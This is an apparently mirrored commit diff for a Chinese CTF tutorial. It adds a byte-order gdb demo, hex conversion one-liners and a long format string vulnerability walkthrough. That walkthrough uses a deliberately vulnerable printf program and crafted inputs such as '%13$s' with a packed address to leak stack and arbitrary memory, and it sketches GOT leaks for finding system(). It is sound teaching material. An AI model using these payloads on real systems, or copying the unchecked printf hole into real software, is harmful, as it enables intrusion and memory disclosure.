mirror of
https://github.com/nganhkhoa/CTF-All-In-One.git
synced 2025-01-27 05:57:33 +07:00
update
This commit is contained in:
parent
89b8a2ee17
commit
725b9780d6
@ -167,6 +167,32 @@ Big-endian 规定 MSB 在存储时放在低地址,在传输时放在流的开
|
||||
|
||||
![](../pic/1.3_byte_order.png)
|
||||
|
||||
我们在内存中实际地看一下,在地址 `0xffffd584` 处有字符 `1234`,在地址 `0xffffd588` 处有字符 `5678`。
|
||||
```text
|
||||
gdb-peda$ x/w 0xffffd584
|
||||
0xffffd584: 0x34333231
|
||||
gdb-peda$ x/4wb 0xffffd584
|
||||
0xffffd584: 0x31 0x32 0x33 0x34
|
||||
gdb-peda$ python print('\x31\x32\x33\x34')
|
||||
1234
|
||||
|
||||
gdb-peda$ x/w 0xffffd588
|
||||
0xffffd588: 0x38373635
|
||||
gdb-peda$ x/4wb 0xffffd588
|
||||
0xffffd588: 0x35 0x36 0x37 0x38
|
||||
gdb-peda$ python print('\x35\x36\x37\x38')
|
||||
5678
|
||||
|
||||
gdb-peda$ x/2w 0xffffd584
|
||||
0xffffd584: 0x34333231 0x38373635
|
||||
gdb-peda$ x/8wb 0xffffd584
|
||||
0xffffd584: 0x31 0x32 0x33 0x34 0x35 0x36 0x37 0x38
|
||||
gdb-peda$ python print('\x31\x32\x33\x34\x35\x35\x36\x37\x38')
|
||||
123455678
|
||||
db-peda$ x/s 0xffffd584
|
||||
0xffffd584: "12345678"
|
||||
```
|
||||
|
||||
|
||||
## 输入输出
|
||||
- 使用命令的输出作为可执行文件的输入参数
|
||||
|
@ -295,161 +295,363 @@ printf("%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s")
|
||||
```c
|
||||
#include<stdio.h>
|
||||
void main() {
|
||||
char format[32];
|
||||
char format[128];
|
||||
int arg1 = 1, arg2 = 0x88888888, arg3 = -1;
|
||||
char arg4[10] = "ABCD";
|
||||
scanf("%s", format);
|
||||
printf(format, arg1, arg2, arg3);
|
||||
printf(format, arg1, arg2, arg3, arg4);
|
||||
printf("\n");
|
||||
}
|
||||
```
|
||||
我们先输入 `b main` 设置断点,使用 `n` 往下执行,在 `call 0x56555460 <__isoc99_scanf@plt>` 处输入 `%08x.%08x.%08x.%08x`,然后使用 `c` 继续执行,即可输出结果。
|
||||
```
|
||||
$ gcc -m32 -fno-stack-protector -no-pie fmt.c
|
||||
```
|
||||
|
||||
我们先输入 `b main` 设置断点,使用 `n` 往下执行,在 `call 0x56555460 <__isoc99_scanf@plt>` 处输入 `%08x.%08x.%08x.%08x.%08x`,然后使用 `c` 继续执行,即可输出结果。
|
||||
```text
|
||||
gdb-peda$ n
|
||||
[----------------------------------registers-----------------------------------]
|
||||
EAX: 0xffffd5d4 ("%08x.%08x.%08x.%08x")
|
||||
EAX: 0xffffd584 ("%08x.%08x.%08x.%08x.%08x")
|
||||
EBX: 0x56557000 --> 0x1efc
|
||||
ECX: 0x1
|
||||
EDX: 0xf7f9883c --> 0x0
|
||||
ESI: 0xf7f96e68 --> 0x1bad90
|
||||
EDI: 0x0
|
||||
EBP: 0xffffd608 --> 0x0
|
||||
ESP: 0xffffd5c0 --> 0xffffd5d4 ("%08x.%08x.%08x.%08x")
|
||||
EIP: 0x56555612 (<main+85>: call 0x56555430 <printf@plt>)
|
||||
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
|
||||
EBP: 0xffffd618 --> 0x0
|
||||
ESP: 0xffffd550 --> 0xffffd584 ("%08x.%08x.%08x.%08x.%08x")
|
||||
EIP: 0x56555642 (<main+133>: call 0x56555430 <printf@plt>)
|
||||
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
|
||||
[-------------------------------------code-------------------------------------]
|
||||
0x5655560b <main+78>: push DWORD PTR [ebp-0xc]
|
||||
0x5655560e <main+81>: lea eax,[ebp-0x34]
|
||||
0x56555611 <main+84>: push eax
|
||||
=> 0x56555612 <main+85>: call 0x56555430 <printf@plt>
|
||||
0x56555617 <main+90>: add esp,0x10
|
||||
0x5655561a <main+93>: sub esp,0xc
|
||||
0x5655561d <main+96>: push 0xa
|
||||
0x5655561f <main+98>: call 0x56555450 <putchar@plt>
|
||||
0x56555638 <main+123>: push DWORD PTR [ebp-0xc]
|
||||
0x5655563b <main+126>: lea eax,[ebp-0x94]
|
||||
0x56555641 <main+132>: push eax
|
||||
=> 0x56555642 <main+133>: call 0x56555430 <printf@plt>
|
||||
0x56555647 <main+138>: add esp,0x20
|
||||
0x5655564a <main+141>: sub esp,0xc
|
||||
0x5655564d <main+144>: push 0xa
|
||||
0x5655564f <main+146>: call 0x56555450 <putchar@plt>
|
||||
Guessed arguments:
|
||||
arg[0]: 0xffffd5d4 ("%08x.%08x.%08x.%08x")
|
||||
arg[0]: 0xffffd584 ("%08x.%08x.%08x.%08x.%08x")
|
||||
arg[1]: 0x1
|
||||
arg[2]: 0x88888888
|
||||
arg[3]: 0xffffffff
|
||||
arg[4]: 0xffffd57a ("ABCD")
|
||||
[------------------------------------stack-------------------------------------]
|
||||
0000| 0xffffd5c0 --> 0xffffd5d4 ("%08x.%08x.%08x.%08x")
|
||||
0004| 0xffffd5c4 --> 0x1
|
||||
0008| 0xffffd5c8 --> 0x88888888
|
||||
0012| 0xffffd5cc --> 0xffffffff
|
||||
0016| 0xffffd5d0 --> 0x8000
|
||||
0020| 0xffffd5d4 ("%08x.%08x.%08x.%08x")
|
||||
0024| 0xffffd5d8 (".%08x.%08x.%08x")
|
||||
0028| 0xffffd5dc ("x.%08x.%08x")
|
||||
0000| 0xffffd550 --> 0xffffd584 ("%08x.%08x.%08x.%08x.%08x")
|
||||
0004| 0xffffd554 --> 0x1
|
||||
0008| 0xffffd558 --> 0x88888888
|
||||
0012| 0xffffd55c --> 0xffffffff
|
||||
0016| 0xffffd560 --> 0xffffd57a ("ABCD")
|
||||
0020| 0xffffd564 --> 0xffffd584 ("%08x.%08x.%08x.%08x.%08x")
|
||||
0024| 0xffffd568 (" RUV\327UUVT\332\377\367\001")
|
||||
0028| 0xffffd56c --> 0x565555d7 (<main+26>: add ebx,0x1a29)
|
||||
[------------------------------------------------------------------------------]
|
||||
Legend: code, data, rodata, value
|
||||
0x56555612 in main ()
|
||||
0x56555642 in main ()
|
||||
gdb-peda$ x/10x $esp
|
||||
0xffffd550: 0xffffd584 0x00000001 0x88888888 0xffffffff
|
||||
0xffffd560: 0xffffd57a 0xffffd584 0x56555220 0x565555d7
|
||||
0xffffd570: 0xf7ffda54 0x00000001
|
||||
gdb-peda$ c
|
||||
Continuing.
|
||||
00000001.88888888.ffffffff.00008000
|
||||
[Inferior 1 (process 31270) exited with code 012]
|
||||
00000001.88888888.ffffffff.ffffd57a.ffffd584
|
||||
```
|
||||
格式化字符串 `0xffffd5d4` 的地址出现在内存中的位置恰好位于参数 `arg1`、`arg2`、`arg3` 之前。格式字符串 `%08x.%08x.%08x.%08x` 表示函数 `printf()` 从栈中取出 4 个参数并将它们以 8 位十六进制数的形式显示出来。格式化输出函数使用一个内部变量来标志下一个参数的位置。开始时,参数指针指向第一个参数(`arg1`)。随着每一个参数被相应的格式规范所耗用,参数指针的值也根据参数的长度不断递增。在显示完当前执行函数的剩余自动变量之后,`printf()` 将显示当前执行函数的栈帧(包括返回地址和参数等)。
|
||||
格式化字符串 `0xffffd584` 的地址出现在内存中的位置恰好位于参数 `arg1`、`arg2`、`arg3`、`arg4` 之前。格式字符串 `%08x.%08x.%08x.%08x.%08x` 表示函数 `printf()` 从栈中取出 5 个参数并将它们以 8 位十六进制数的形式显示出来。格式化输出函数使用一个内部变量来标志下一个参数的位置。开始时,参数指针指向第一个参数(`arg1`)。随着每一个参数被相应的格式规范所耗用,参数指针的值也根据参数的长度不断递增。在显示完当前执行函数的剩余自动变量之后,`printf()` 将显示当前执行函数的栈帧(包括返回地址和参数等)。
|
||||
|
||||
当然也可以使用 `%p.%p.%p.%p` 得到相似的结果。
|
||||
当然也可以使用 `%p.%p.%p.%p.%p` 得到相似的结果。
|
||||
```
|
||||
gdb-peda$ n
|
||||
[----------------------------------registers-----------------------------------]
|
||||
EAX: 0xffffd5d4 ("%p.%p.%p.%p")
|
||||
EAX: 0xffffd584 ("%p.%p.%p.%p.%p")
|
||||
EBX: 0x56557000 --> 0x1efc
|
||||
ECX: 0x1
|
||||
EDX: 0xf7f9883c --> 0x0
|
||||
ESI: 0xf7f96e68 --> 0x1bad90
|
||||
EDI: 0x0
|
||||
EBP: 0xffffd608 --> 0x0
|
||||
ESP: 0xffffd5c0 --> 0xffffd5d4 ("%p.%p.%p.%p")
|
||||
EIP: 0x56555612 (<main+85>: call 0x56555430 <printf@plt>)
|
||||
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
|
||||
EBP: 0xffffd618 --> 0x0
|
||||
ESP: 0xffffd550 --> 0xffffd584 ("%p.%p.%p.%p.%p")
|
||||
EIP: 0x56555642 (<main+133>: call 0x56555430 <printf@plt>)
|
||||
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
|
||||
[-------------------------------------code-------------------------------------]
|
||||
0x5655560b <main+78>: push DWORD PTR [ebp-0xc]
|
||||
0x5655560e <main+81>: lea eax,[ebp-0x34]
|
||||
0x56555611 <main+84>: push eax
|
||||
=> 0x56555612 <main+85>: call 0x56555430 <printf@plt>
|
||||
0x56555617 <main+90>: add esp,0x10
|
||||
0x5655561a <main+93>: sub esp,0xc
|
||||
0x5655561d <main+96>: push 0xa
|
||||
0x5655561f <main+98>: call 0x56555450 <putchar@plt>
|
||||
0x56555638 <main+123>: push DWORD PTR [ebp-0xc]
|
||||
0x5655563b <main+126>: lea eax,[ebp-0x94]
|
||||
0x56555641 <main+132>: push eax
|
||||
=> 0x56555642 <main+133>: call 0x56555430 <printf@plt>
|
||||
0x56555647 <main+138>: add esp,0x20
|
||||
0x5655564a <main+141>: sub esp,0xc
|
||||
0x5655564d <main+144>: push 0xa
|
||||
0x5655564f <main+146>: call 0x56555450 <putchar@plt>
|
||||
Guessed arguments:
|
||||
arg[0]: 0xffffd5d4 ("%p.%p.%p.%p")
|
||||
arg[0]: 0xffffd584 ("%p.%p.%p.%p.%p")
|
||||
arg[1]: 0x1
|
||||
arg[2]: 0x88888888
|
||||
arg[3]: 0xffffffff
|
||||
arg[4]: 0xffffd57a ("ABCD")
|
||||
[------------------------------------stack-------------------------------------]
|
||||
0000| 0xffffd5c0 --> 0xffffd5d4 ("%p.%p.%p.%p")
|
||||
0004| 0xffffd5c4 --> 0x1
|
||||
0008| 0xffffd5c8 --> 0x88888888
|
||||
0012| 0xffffd5cc --> 0xffffffff
|
||||
0016| 0xffffd5d0 --> 0x8000
|
||||
0020| 0xffffd5d4 ("%p.%p.%p.%p")
|
||||
0024| 0xffffd5d8 ("p.%p.%p")
|
||||
0028| 0xffffd5dc --> 0x70252e ('.%p')
|
||||
0000| 0xffffd550 --> 0xffffd584 ("%p.%p.%p.%p.%p")
|
||||
0004| 0xffffd554 --> 0x1
|
||||
0008| 0xffffd558 --> 0x88888888
|
||||
0012| 0xffffd55c --> 0xffffffff
|
||||
0016| 0xffffd560 --> 0xffffd57a ("ABCD")
|
||||
0020| 0xffffd564 --> 0xffffd584 ("%p.%p.%p.%p.%p")
|
||||
0024| 0xffffd568 (" RUV\327UUVT\332\377\367\001")
|
||||
0028| 0xffffd56c --> 0x565555d7 (<main+26>: add ebx,0x1a29)
|
||||
[------------------------------------------------------------------------------]
|
||||
Legend: code, data, rodata, value
|
||||
0x56555612 in main ()
|
||||
0x56555642 in main ()
|
||||
gdb-peda$ c
|
||||
Continuing.
|
||||
0x1.0x88888888.0xffffffff.0x8000
|
||||
[Inferior 1 (process 31309) exited with code 012]
|
||||
0x1.0x88888888.0xffffffff.0xffffd57a.0xffffd584
|
||||
```
|
||||
|
||||
上面的方法都是依次获得栈中的参数,如果我们想要直接获得被指定的某个参数,则可以使用类似下面的格式字符串:
|
||||
```
|
||||
%<arg#>$<format>
|
||||
|
||||
%n$x
|
||||
```
|
||||
这里的 `n` 表示栈中格式字符串后面的第 `n` 个值。
|
||||
```
|
||||
db-peda$ n
|
||||
gdb-peda$ n
|
||||
[----------------------------------registers-----------------------------------]
|
||||
EAX: 0xffffd5d4 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p")
|
||||
EAX: 0xffffd584 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p")
|
||||
EBX: 0x56557000 --> 0x1efc
|
||||
ECX: 0x1
|
||||
EDX: 0xf7f9883c --> 0x0
|
||||
ESI: 0xf7f96e68 --> 0x1bad90
|
||||
EDI: 0x0
|
||||
EBP: 0xffffd608 --> 0x0
|
||||
ESP: 0xffffd5c0 --> 0xffffd5d4 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p")
|
||||
EIP: 0x56555612 (<main+85>: call 0x56555430 <printf@plt>)
|
||||
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
|
||||
EBP: 0xffffd618 --> 0x0
|
||||
ESP: 0xffffd550 --> 0xffffd584 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p")
|
||||
EIP: 0x56555642 (<main+133>: call 0x56555430 <printf@plt>)
|
||||
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
|
||||
[-------------------------------------code-------------------------------------]
|
||||
0x5655560b <main+78>: push DWORD PTR [ebp-0xc]
|
||||
0x5655560e <main+81>: lea eax,[ebp-0x34]
|
||||
0x56555611 <main+84>: push eax
|
||||
=> 0x56555612 <main+85>: call 0x56555430 <printf@plt>
|
||||
0x56555617 <main+90>: add esp,0x10
|
||||
0x5655561a <main+93>: sub esp,0xc
|
||||
0x5655561d <main+96>: push 0xa
|
||||
0x5655561f <main+98>: call 0x56555450 <putchar@plt>
|
||||
0x56555638 <main+123>: push DWORD PTR [ebp-0xc]
|
||||
0x5655563b <main+126>: lea eax,[ebp-0x94]
|
||||
0x56555641 <main+132>: push eax
|
||||
=> 0x56555642 <main+133>: call 0x56555430 <printf@plt>
|
||||
0x56555647 <main+138>: add esp,0x20
|
||||
0x5655564a <main+141>: sub esp,0xc
|
||||
0x5655564d <main+144>: push 0xa
|
||||
0x5655564f <main+146>: call 0x56555450 <putchar@plt>
|
||||
Guessed arguments:
|
||||
arg[0]: 0xffffd5d4 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p")
|
||||
arg[0]: 0xffffd584 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p")
|
||||
arg[1]: 0x1
|
||||
arg[2]: 0x88888888
|
||||
arg[3]: 0xffffffff
|
||||
arg[4]: 0xffffd57a ("ABCD")
|
||||
[------------------------------------stack-------------------------------------]
|
||||
0000| 0xffffd5c0 --> 0xffffd5d4 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p")
|
||||
0004| 0xffffd5c4 --> 0x1
|
||||
0008| 0xffffd5c8 --> 0x88888888
|
||||
0012| 0xffffd5cc --> 0xffffffff
|
||||
0016| 0xffffd5d0 --> 0x8000
|
||||
0020| 0xffffd5d4 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p")
|
||||
0024| 0xffffd5d8 (".%1$08x.%2$p.%2$p.%4$p.%5$p")
|
||||
0028| 0xffffd5dc ("08x.%2$p.%2$p.%4$p.%5$p")
|
||||
0000| 0xffffd550 --> 0xffffd584 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p")
|
||||
0004| 0xffffd554 --> 0x1
|
||||
0008| 0xffffd558 --> 0x88888888
|
||||
0012| 0xffffd55c --> 0xffffffff
|
||||
0016| 0xffffd560 --> 0xffffd57a ("ABCD")
|
||||
0020| 0xffffd564 --> 0xffffd584 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p")
|
||||
0024| 0xffffd568 (" RUV\327UUVT\332\377\367\001")
|
||||
0028| 0xffffd56c --> 0x565555d7 (<main+26>: add ebx,0x1a29)
|
||||
[------------------------------------------------------------------------------]
|
||||
Legend: code, data, rodata, value
|
||||
0x56555612 in main ()
|
||||
0x56555642 in main ()
|
||||
gdb-peda$ x/10w $esp
|
||||
0xffffd5c0: 0xffffd5d4 0x00000001 0x88888888 0xffffffff
|
||||
0xffffd5d0: 0x00008000 0x78243325 0x2431252e 0x2e783830
|
||||
0xffffd5e0: 0x70243225 0x2432252e
|
||||
0xffffd550: 0xffffd584 0x00000001 0x88888888 0xffffffff
|
||||
0xffffd560: 0xffffd57a 0xffffd584 0x56555220 0x565555d7
|
||||
0xffffd570: 0xf7ffda54 0x00000001
|
||||
gdb-peda$ c
|
||||
Continuing.
|
||||
ffffffff.00000001.0x88888888.0x88888888.0x8000.0x78243325
|
||||
ffffffff.00000001.0x88888888.0x88888888.0xffffd57a.0xffffd584.0x56555220
|
||||
```
|
||||
这里,格式字符串的地址为 `0xffffd5d4`。我们通过格式字符串 `%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p` 分别获取了 `arg3`、`arg1`、两个 `arg2`,和栈上紧跟参数的两个值。可以看到这种方法非常强大,可以获得栈中任意的值。
|
||||
这里,格式字符串的地址为 `0xffffd584`。我们通过格式字符串 `%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p` 分别获取了 `arg3`、`arg1`、两个 `arg2`、`arg4` 和栈上紧跟参数的两个值。可以看到这种方法非常强大,可以获得栈中任意的值。
|
||||
|
||||
#### 查看任意地址的内存
|
||||
攻击者可以使用一个“显示指定地址的内存”的格式规范来查看任意地址的内存。例如,使用 `%s` 显示参数 指针所指定的地址的内存,将它作为一个 ASCII 字符串处理,直到遇到一个空字符。如果攻击者能够操纵这个参数指针指向一个特定的地址,那么 `%s` 就会输出该位置的内存内容。
|
||||
|
||||
还是上面的程序,我们输入 `%4$s`,输出的 `arg4` 就变成了 `ABCD` 而不是地址 `0xffffd57a`:
|
||||
```
|
||||
gdb-peda$ n
|
||||
[----------------------------------registers-----------------------------------]
|
||||
EAX: 0xffffd584 ("%4$s")
|
||||
EBX: 0x56557000 --> 0x1efc
|
||||
ECX: 0x1
|
||||
EDX: 0xf7f9883c --> 0x0
|
||||
ESI: 0xf7f96e68 --> 0x1bad90
|
||||
EDI: 0x0
|
||||
EBP: 0xffffd618 --> 0x0
|
||||
ESP: 0xffffd550 --> 0xffffd584 ("%4$s")
|
||||
EIP: 0x56555642 (<main+133>: call 0x56555430 <printf@plt>)
|
||||
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
|
||||
[-------------------------------------code-------------------------------------]
|
||||
0x56555638 <main+123>: push DWORD PTR [ebp-0xc]
|
||||
0x5655563b <main+126>: lea eax,[ebp-0x94]
|
||||
0x56555641 <main+132>: push eax
|
||||
=> 0x56555642 <main+133>: call 0x56555430 <printf@plt>
|
||||
0x56555647 <main+138>: add esp,0x20
|
||||
0x5655564a <main+141>: sub esp,0xc
|
||||
0x5655564d <main+144>: push 0xa
|
||||
0x5655564f <main+146>: call 0x56555450 <putchar@plt>
|
||||
Guessed arguments:
|
||||
arg[0]: 0xffffd584 ("%4$s")
|
||||
arg[1]: 0x1
|
||||
arg[2]: 0x88888888
|
||||
arg[3]: 0xffffffff
|
||||
arg[4]: 0xffffd57a ("ABCD")
|
||||
[------------------------------------stack-------------------------------------]
|
||||
0000| 0xffffd550 --> 0xffffd584 ("%4$s")
|
||||
0004| 0xffffd554 --> 0x1
|
||||
0008| 0xffffd558 --> 0x88888888
|
||||
0012| 0xffffd55c --> 0xffffffff
|
||||
0016| 0xffffd560 --> 0xffffd57a ("ABCD")
|
||||
0020| 0xffffd564 --> 0xffffd584 ("%4$s")
|
||||
0024| 0xffffd568 (" RUV\327UUVT\332\377\367\001")
|
||||
0028| 0xffffd56c --> 0x565555d7 (<main+26>: add ebx,0x1a29)
|
||||
[------------------------------------------------------------------------------]
|
||||
Legend: code, data, rodata, value
|
||||
0x56555642 in main ()
|
||||
gdb-peda$ c
|
||||
Continuing.
|
||||
ABCD
|
||||
```
|
||||
|
||||
上面的例子只能读取栈中已有的内容,如果我们想获取的是任意的地址的内容,就需要我们自己将地址写入到栈中。我们输入 `AAAA.%p` 这样的格式的字符串,观察一下栈有什么变化。
|
||||
```
|
||||
gdb-peda$ python print("AAAA"+".%p"*20)
|
||||
AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
|
||||
...
|
||||
gdb-peda$ n
|
||||
[----------------------------------registers-----------------------------------]
|
||||
EAX: 0xffffd584 ("AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p")
|
||||
EBX: 0x56557000 --> 0x1efc
|
||||
ECX: 0x1
|
||||
EDX: 0xf7f9883c --> 0x0
|
||||
ESI: 0xf7f96e68 --> 0x1bad90
|
||||
EDI: 0x0
|
||||
EBP: 0xffffd618 --> 0x0
|
||||
ESP: 0xffffd550 --> 0xffffd584 ("AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p")
|
||||
EIP: 0x56555642 (<main+133>: call 0x56555430 <printf@plt>)
|
||||
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
|
||||
[-------------------------------------code-------------------------------------]
|
||||
0x56555638 <main+123>: push DWORD PTR [ebp-0xc]
|
||||
0x5655563b <main+126>: lea eax,[ebp-0x94]
|
||||
0x56555641 <main+132>: push eax
|
||||
=> 0x56555642 <main+133>: call 0x56555430 <printf@plt>
|
||||
0x56555647 <main+138>: add esp,0x20
|
||||
0x5655564a <main+141>: sub esp,0xc
|
||||
0x5655564d <main+144>: push 0xa
|
||||
0x5655564f <main+146>: call 0x56555450 <putchar@plt>
|
||||
Guessed arguments:
|
||||
arg[0]: 0xffffd584 ("AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p")
|
||||
arg[1]: 0x1
|
||||
arg[2]: 0x88888888
|
||||
arg[3]: 0xffffffff
|
||||
arg[4]: 0xffffd57a ("ABCD")
|
||||
[------------------------------------stack-------------------------------------]
|
||||
0000| 0xffffd550 --> 0xffffd584 ("AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p")
|
||||
0004| 0xffffd554 --> 0x1
|
||||
0008| 0xffffd558 --> 0x88888888
|
||||
0012| 0xffffd55c --> 0xffffffff
|
||||
0016| 0xffffd560 --> 0xffffd57a ("ABCD")
|
||||
0020| 0xffffd564 --> 0xffffd584 ("AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p")
|
||||
0024| 0xffffd568 (" RUV\327UUVT\332\377\367\001")
|
||||
0028| 0xffffd56c --> 0x565555d7 (<main+26>: add ebx,0x1a29)
|
||||
[------------------------------------------------------------------------------]
|
||||
Legend: code, data, rodata, value
|
||||
0x56555642 in main ()
|
||||
```
|
||||
格式字符串的地址在 `0xffffd584`,从下面的输出中可以看到它们在栈中是怎样排布的:
|
||||
```
|
||||
gdb-peda$ x/20w $esp
|
||||
0xffffd550: 0xffffd584 0x00000001 0x88888888 0xffffffff
|
||||
0xffffd560: 0xffffd57a 0xffffd584 0x56555220 0x565555d7
|
||||
0xffffd570: 0xf7ffda54 0x00000001 0x424135d0 0x00004443
|
||||
0xffffd580: 0x00000000 0x41414141 0x2e70252e 0x252e7025
|
||||
0xffffd590: 0x70252e70 0x2e70252e 0x252e7025 0x70252e70
|
||||
gdb-peda$ x/20wb 0xffffd584
|
||||
0xffffd584: 0x41 0x41 0x41 0x41 0x2e 0x25 0x70 0x2e
|
||||
0xffffd58c: 0x25 0x70 0x2e 0x25 0x70 0x2e 0x25 0x70
|
||||
0xffffd594: 0x2e 0x25 0x70 0x2e
|
||||
gdb-peda$ python print('\x2e\x25\x70')
|
||||
.%p
|
||||
```
|
||||
下面是程序运行的结果:
|
||||
```
|
||||
gdb-peda$ c
|
||||
Continuing.
|
||||
AAAA.0x1.0x88888888.0xffffffff.0xffffd57a.0xffffd584.0x56555220.0x565555d7.0xf7ffda54.0x1.0x424135d0.0x4443.(nil).0x41414141.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e
|
||||
```
|
||||
`0x41414141` 是输出的第 13 个字符,所以我们使用 `%13$s` 即可读出 `0x41414141` 处的内容,当然,这里可能是一个不合法的地址。下面我们把 `0x41414141` 换成我们需要的合法的地址,比如字符串 `ABCD` 的地址 `0xffffd57a`:
|
||||
```
|
||||
$ python2 -c 'print("\x7a\xd5\xff\xff"+".%13$s")' > text
|
||||
$ gdb -q a.out
|
||||
Reading symbols from a.out...(no debugging symbols found)...done.
|
||||
gdb-peda$ b printf
|
||||
Breakpoint 1 at 0x8048350
|
||||
gdb-peda$ r < text
|
||||
Starting program: /home/firmy/Desktop/RE4B/a.out < text
|
||||
[----------------------------------registers-----------------------------------]
|
||||
EAX: 0xffffd584 --> 0xffffd57a ("ABCD")
|
||||
EBX: 0x804a000 --> 0x8049f14 --> 0x1
|
||||
ECX: 0x1
|
||||
EDX: 0xf7f9883c --> 0x0
|
||||
ESI: 0xf7f96e68 --> 0x1bad90
|
||||
EDI: 0x0
|
||||
EBP: 0xffffd618 --> 0x0
|
||||
ESP: 0xffffd54c --> 0x8048520 (<main+138>: add esp,0x20)
|
||||
EIP: 0xf7e27c20 (<printf>: call 0xf7f06d17 <__x86.get_pc_thunk.ax>)
|
||||
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
|
||||
[-------------------------------------code-------------------------------------]
|
||||
0xf7e27c1b <fprintf+27>: ret
|
||||
0xf7e27c1c: xchg ax,ax
|
||||
0xf7e27c1e: xchg ax,ax
|
||||
=> 0xf7e27c20 <printf>: call 0xf7f06d17 <__x86.get_pc_thunk.ax>
|
||||
0xf7e27c25 <printf+5>: add eax,0x16f243
|
||||
0xf7e27c2a <printf+10>: sub esp,0xc
|
||||
0xf7e27c2d <printf+13>: mov eax,DWORD PTR [eax+0x124]
|
||||
0xf7e27c33 <printf+19>: lea edx,[esp+0x14]
|
||||
No argument
|
||||
[------------------------------------stack-------------------------------------]
|
||||
0000| 0xffffd54c --> 0x8048520 (<main+138>: add esp,0x20)
|
||||
0004| 0xffffd550 --> 0xffffd584 --> 0xffffd57a ("ABCD")
|
||||
0008| 0xffffd554 --> 0x1
|
||||
0012| 0xffffd558 --> 0x88888888
|
||||
0016| 0xffffd55c --> 0xffffffff
|
||||
0020| 0xffffd560 --> 0xffffd57a ("ABCD")
|
||||
0024| 0xffffd564 --> 0xffffd584 --> 0xffffd57a ("ABCD")
|
||||
0028| 0xffffd568 --> 0x80481fc --> 0x38 ('8')
|
||||
[------------------------------------------------------------------------------]
|
||||
Legend: code, data, rodata, value
|
||||
|
||||
Breakpoint 1, 0xf7e27c20 in printf () from /usr/lib32/libc.so.6
|
||||
gdb-peda$ x/20w $esp
|
||||
0xffffd54c: 0x08048520 0xffffd584 0x00000001 0x88888888
|
||||
0xffffd55c: 0xffffffff 0xffffd57a 0xffffd584 0x080481fc
|
||||
0xffffd56c: 0x080484b0 0xf7ffda54 0x00000001 0x424135d0
|
||||
0xffffd57c: 0x00004443 0x00000000 0xffffd57a 0x3331252e
|
||||
0xffffd58c: 0x00007324 0xffffd5ca 0x00000001 0x000000c2
|
||||
gdb-peda$ x/s 0xffffd57a
|
||||
0xffffd57a: "ABCD"
|
||||
gdb-peda$ c
|
||||
Continuing.
|
||||
z<EFBFBD><EFBFBD><EFBFBD>.ABCD
|
||||
```
|
||||
|
||||
当然这也没有什么用,我们真正经常用到的地方是,把程序中某函数的 GOT 地址传进去,然后获得该地址所对应的函数的虚拟地址。然后根据函数在 libc 中的相对位置,计算出我们需要的函数地址(如 `system()`)。如下面展示的这样:
|
||||
|
||||
先看一下重定向表:
|
||||
```
|
||||
$ readelf -r a.out
|
||||
|
||||
Relocation section '.rel.dyn' at offset 0x2e8 contains 1 entries:
|
||||
Offset Info Type Sym.Value Sym. Name
|
||||
08049ffc 00000206 R_386_GLOB_DAT 00000000 __gmon_start__
|
||||
|
||||
Relocation section '.rel.plt' at offset 0x2f0 contains 4 entries:
|
||||
Offset Info Type Sym.Value Sym. Name
|
||||
0804a00c 00000107 R_386_JUMP_SLOT 00000000 printf@GLIBC_2.0
|
||||
0804a010 00000307 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0
|
||||
0804a014 00000407 R_386_JUMP_SLOT 00000000 putchar@GLIBC_2.0
|
||||
0804a018 00000507 R_386_JUMP_SLOT 00000000 __isoc99_scanf@GLIBC_2.7
|
||||
```
|
||||
`.rel.plt` 中有四个函数可供我们选择,但是这里就有一些技巧了。
|
||||
|
||||
啊,要到12点了,先push了,打卡要紧,打卡要紧。
|
||||
|
||||
#### 覆盖栈内容
|
||||
|
||||
|
@ -195,6 +195,19 @@ E: . > N ^ n ~
|
||||
F: / ? O _ o DEL
|
||||
```
|
||||
|
||||
Hex 转 Char:
|
||||
```shell
|
||||
$ echo -e '\x41\x42\x43\x44'
|
||||
$ printf '\x41\x42\x43\x44'
|
||||
$ python -c 'print(u"\x41\x42\x43\x44")'
|
||||
$ perl -e 'print "\x41\x42\x43\x44";'
|
||||
```
|
||||
|
||||
Char 转 Hex:
|
||||
```shell
|
||||
$ python -c 'print(b"ABCD".hex())'
|
||||
```
|
||||
|
||||
|
||||
